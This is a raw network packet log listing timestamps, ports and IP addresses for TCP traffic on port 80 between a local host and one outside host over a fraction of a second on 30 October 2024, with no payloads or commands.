Oct 30, 2024 15:44:45.873404026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.873969078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.873994112 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.874011040 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.874695063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.874737024 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.874754906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.875317097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.875360012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.875360966 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.875962973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.876000881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.876032114 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.876622915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.876633883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.876645088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.876667976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.876698017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.877574921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.877594948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.877605915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.877630949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.878551006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.878592014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.878592014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.878603935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.878635883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.879501104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.879513979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.879525900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.879550934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.880376101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.880417109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.880423069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.880429983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.880459070 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.881418943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.881432056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.881443977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.881486893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.882270098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.882281065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.882292032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.882313967 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.882332087 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.883164883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.883177042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.883188963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.883215904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.884067059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884078026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884084940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884126902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.884843111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884884119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884896040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.884929895 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.885788918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.885822058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.885833025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.885835886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.885868073 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.886485100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.886497021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.886507988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.886532068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.887247086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.887293100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.887294054 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.887305021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.887337923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.887989044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.888258934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.888271093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.888292074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.888319969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.888336897 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.889007092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889066935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889080048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889106035 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.889744997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889756918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889767885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889779091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.889786005 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.889816999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.890667915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.890680075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.890691042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.890714884 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.890727043 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.890737057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.891597033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.891642094 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.891650915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.891660929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.891684055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.891695976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.892611027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.892653942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.892654896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.892667055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.892688990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.892697096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.893677950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.893718004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.893749952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.893796921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.893840075 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.893856049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.894481897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.894503117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.894521952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.894526958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.894535065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.894602060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.895482063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.895524025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.895526886 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.895559072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.895570040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.895598888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.896367073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.896379948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.896394014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.896405935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.896414042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.896437883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.897253990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.897273064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.897284031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.897298098 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.897320032 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.897340059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898104906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898118973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898130894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898143053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898149014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.898164034 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.898947954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898957968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898968935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898979902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.898988962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.899010897 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.899655104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.899729013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.899732113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900084972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900125027 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.900134087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900145054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900156975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900186062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.900906086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900950909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900950909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.900963068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900985956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.900989056 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.901794910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.901806116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.901817083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.901828051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.901842117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.901870012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.902524948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.902566910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.902580023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.902591944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.902604103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.902615070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.902630091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.902651072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.903454065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.903537989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.903548956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.903559923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.903572083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.903578997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.903624058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.904397011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.904441118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.904443979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.904454947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.904489040 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.904505014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.904516935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.904551983 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.905303955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.905350924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.905368090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.905380011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.905390978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.905395031 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.905411959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.906208992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.906250954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.906255007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.906264067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.906292915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.906322956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.906336069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.906384945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.907136917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.907154083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.907160044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.907174110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.907190084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.907195091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.907249928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.908082962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.908094883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.908107042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.908119917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.908132076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.908133030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.908157110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.908175945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.909475088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909487009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909504890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909517050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909524918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.909528971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909553051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.909723043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909761906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.909826040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909837961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909849882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909859896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.909878969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.909894943 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.910618067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.910659075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.910670996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.910695076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.910721064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.910732985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.910762072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.911504030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.911521912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.911534071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.911545038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.911550999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.911556959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.911565065 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.911596060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.912305117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.912316084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.912327051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.912338972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.912349939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.912353039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.912388086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.913157940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913175106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913186073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913197041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913209915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913212061 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.913218021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.913249969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.913896084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.913992882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914004087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914014101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914025068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914028883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.914036989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914057016 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.914072990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.914896965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914910078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914921045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914942980 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.914954901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914966106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914977074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.914993048 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.915004969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.915761948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915772915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915791988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915802956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915813923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915816069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.915826082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.915851116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.915873051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.916603088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916687965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916698933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916708946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916714907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916722059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916728020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.916728020 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.916827917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.917617083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917660952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.917695045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917830944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917880058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917884111 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.917891979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917929888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.917941093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917952061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917963028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.917968988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918016911 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.918905020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918915033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918926954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918937922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918951035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918957949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.918962955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918975115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.918976068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.918997049 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.919898033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919909000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919920921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919931889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919945002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919945955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.919956923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919967890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.919970036 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.919987917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.920011997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.920913935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921035051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921046019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921056986 CET	80	49995	147.45.47.81	192.168.2.6
